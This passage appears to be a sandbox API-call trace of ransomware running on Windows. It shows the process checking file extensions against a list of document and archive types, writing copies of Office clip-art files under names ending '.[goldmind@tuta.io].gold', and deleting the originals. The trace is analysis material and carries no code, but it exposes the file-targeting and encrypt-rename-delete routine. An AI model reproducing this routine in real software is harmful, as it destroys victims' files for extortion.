[0115.227] lstrlenW (lpString=".1cd") returned 4 [0115.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.227] lstrlenW (lpString=".jpg") returned 4 [0115.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.227] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.227] lstrlenW (lpString="J0215210.WMF") returned 12 [0115.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0115.228] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=33230) returned 1 [0115.228] CloseHandle (hObject=0x364) returned 1 [0115.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf")) returned 0x20 [0115.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0115.228] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.228] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.229] GetLastError () returned 0x0 [0115.229] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x81ce, lpOverlapped=0x0) returned 1 [0115.272] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x81d0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x81d0, lpOverlapped=0x0) returned 1 [0115.274] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.274] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.274] SetEndOfFile (hFile=0x198) returned 1 [0115.274] CloseHandle (hObject=0x198) returned 1 [0115.274] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.274] SetEndOfFile (hFile=0x364) returned 1 [0115.276] CloseHandle (hObject=0x364) returned 1 [0115.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf")) returned 1 [0115.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.291] lstrlenW (lpString=".doc") returned 4 [0115.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.291] lstrlenW (lpString=".docx") returned 5 [0115.291] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.291] lstrlenW (lpString=".pdf") returned 4 [0115.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.291] lstrlenW (lpString=".xls") returned 4 [0115.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.291] lstrlenW (lpString=".xlsx") returned 5 [0115.291] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.291] lstrlenW (lpString=".ppt") returned 4 [0115.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString=".zip") returned 4 [0115.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.292] lstrlenW (lpString=".rar") returned 4 [0115.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString=".bz2") returned 4 [0115.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString=".7z") returned 3 [0115.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString=".dbf") returned 4 [0115.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString=".1cd") returned 4 [0115.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString=".jpg") returned 4 [0115.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString=".doc") returned 4 [0115.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString=".docx") returned 5 [0115.292] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.292] lstrlenW (lpString=".pdf") returned 4 [0115.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString=".xls") returned 4 [0115.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.292] lstrlenW (lpString=".xlsx") returned 5 [0115.292] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.292] lstrlenW (lpString=".ppt") returned 4 [0115.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString=".zip") returned 4 [0115.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.292] lstrlenW (lpString=".rar") returned 4 [0115.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString=".bz2") returned 4 [0115.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString=".7z") returned 3 [0115.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString=".dbf") returned 4 [0115.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString=".1cd") returned 4 [0115.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0115.292] lstrlenW (lpString=".jpg") returned 4 [0115.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.293] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.293] lstrlenW (lpString="J0215710.WMF") returned 12 [0115.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.293] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17826) returned 1 [0115.293] CloseHandle (hObject=0x394) returned 1 [0115.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf")) returned 0x20 [0115.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.294] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.294] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.295] GetLastError () returned 0x0 [0115.295] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x45a2, lpOverlapped=0x0) returned 1 [0115.306] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x45b0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x45b0, lpOverlapped=0x0) returned 1 [0115.306] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.307] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.307] SetEndOfFile (hFile=0x3ec) returned 1 [0115.307] CloseHandle (hObject=0x3ec) returned 1 [0115.307] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.307] SetEndOfFile (hFile=0x394) returned 1 [0115.309] CloseHandle (hObject=0x394) returned 1 [0115.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf")) returned 1 [0115.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.310] lstrlenW (lpString=".doc") returned 4 [0115.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.310] lstrlenW (lpString=".docx") returned 5 [0115.310] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.310] lstrlenW (lpString=".pdf") returned 4 [0115.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.310] lstrlenW (lpString=".xls") returned 4 [0115.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.310] lstrlenW (lpString=".xlsx") returned 5 [0115.310] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.310] lstrlenW (lpString=".ppt") returned 4 [0115.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.310] lstrlenW (lpString=".zip") returned 4 [0115.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.310] lstrlenW (lpString=".rar") returned 4 [0115.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.310] lstrlenW (lpString=".bz2") returned 4 [0115.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.310] lstrlenW (lpString=".7z") returned 3 [0115.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.310] lstrlenW (lpString=".dbf") returned 4 [0115.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.310] lstrlenW (lpString=".1cd") returned 4 [0115.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.310] lstrlenW (lpString=".jpg") returned 4 [0115.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.310] lstrlenW (lpString=".doc") returned 4 [0115.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.310] lstrlenW (lpString=".docx") returned 5 [0115.310] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.310] lstrlenW (lpString=".pdf") returned 4 [0115.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.311] lstrlenW (lpString=".xls") returned 4 [0115.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.311] lstrlenW (lpString=".xlsx") returned 5 [0115.311] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.311] lstrlenW (lpString=".ppt") returned 4 [0115.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.311] lstrlenW (lpString=".zip") returned 4 [0115.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.311] lstrlenW (lpString=".rar") returned 4 [0115.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.311] lstrlenW (lpString=".bz2") returned 4 [0115.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.311] lstrlenW (lpString=".7z") returned 3 [0115.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.311] lstrlenW (lpString=".dbf") returned 4 [0115.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.311] lstrlenW (lpString=".1cd") returned 4 [0115.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0115.311] lstrlenW (lpString=".jpg") returned 4 [0115.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.311] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0115.311] lstrlenW (lpString="J0216112.JPG") returned 12 [0115.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.312] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=42883) returned 1 [0115.312] CloseHandle (hObject=0x394) returned 1 [0115.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg")) returned 0x20 [0115.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.312] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.312] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.313] GetLastError () returned 0x0 [0115.313] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xa783, lpOverlapped=0x0) returned 1 [0115.328] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xa790, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xa790, lpOverlapped=0x0) returned 1 [0115.329] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.329] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.330] SetEndOfFile (hFile=0x3ec) returned 1 [0115.330] CloseHandle (hObject=0x3ec) returned 1 [0115.330] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.330] SetEndOfFile (hFile=0x394) returned 1 [0115.334] CloseHandle (hObject=0x394) returned 1 [0115.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg")) returned 1 [0115.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.341] lstrlenW (lpString=".doc") returned 4 [0115.341] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0115.341] lstrlenW (lpString=".docx") returned 5 [0115.341] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0115.341] lstrlenW (lpString=".pdf") returned 4 [0115.341] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0115.341] lstrlenW (lpString=".xls") returned 4 [0115.341] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0115.341] lstrlenW (lpString=".xlsx") returned 5 [0115.341] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0115.341] lstrlenW (lpString=".ppt") returned 4 [0115.342] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString=".zip") returned 4 [0115.342] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0115.342] lstrlenW (lpString=".rar") returned 4 [0115.342] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0115.342] lstrlenW (lpString=".bz2") returned 4 [0115.342] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0115.342] lstrlenW (lpString=".7z") returned 3 [0115.342] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString=".dbf") returned 4 [0115.342] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString=".1cd") returned 4 [0115.342] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString=".jpg") returned 4 [0115.342] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString=".doc") returned 4 [0115.342] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0115.342] lstrlenW (lpString=".docx") returned 5 [0115.342] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0115.342] lstrlenW (lpString=".pdf") returned 4 [0115.342] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0115.342] lstrlenW (lpString=".xls") returned 4 [0115.342] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0115.342] lstrlenW (lpString=".xlsx") returned 5 [0115.342] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0115.342] lstrlenW (lpString=".ppt") returned 4 [0115.342] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString=".zip") returned 4 [0115.342] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0115.342] lstrlenW (lpString=".rar") returned 4 [0115.342] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0115.342] lstrlenW (lpString=".bz2") returned 4 [0115.342] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0115.342] lstrlenW (lpString=".7z") returned 3 [0115.342] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString=".dbf") returned 4 [0115.342] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString=".1cd") returned 4 [0115.342] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0115.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0115.342] lstrlenW (lpString=".jpg") returned 4 [0115.342] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0115.343] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.343] lstrlenW (lpString="J0216570.WMF") returned 12 [0115.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.343] 